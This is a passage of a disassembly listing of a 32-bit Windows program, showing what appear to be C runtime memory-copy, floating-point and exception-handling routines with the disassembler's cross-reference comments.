; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A940
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB97C, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43CF54, offset sub_421935
		mov	off_43CF50, eax
		mov	off_43CF58, offset sub_42199B
		mov	off_43CF5C, offset sub_4218DB
		mov	off_43CF60, offset sub_421983
		mov	off_43CF64, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A958
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB9D4
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A95C
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A95C
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
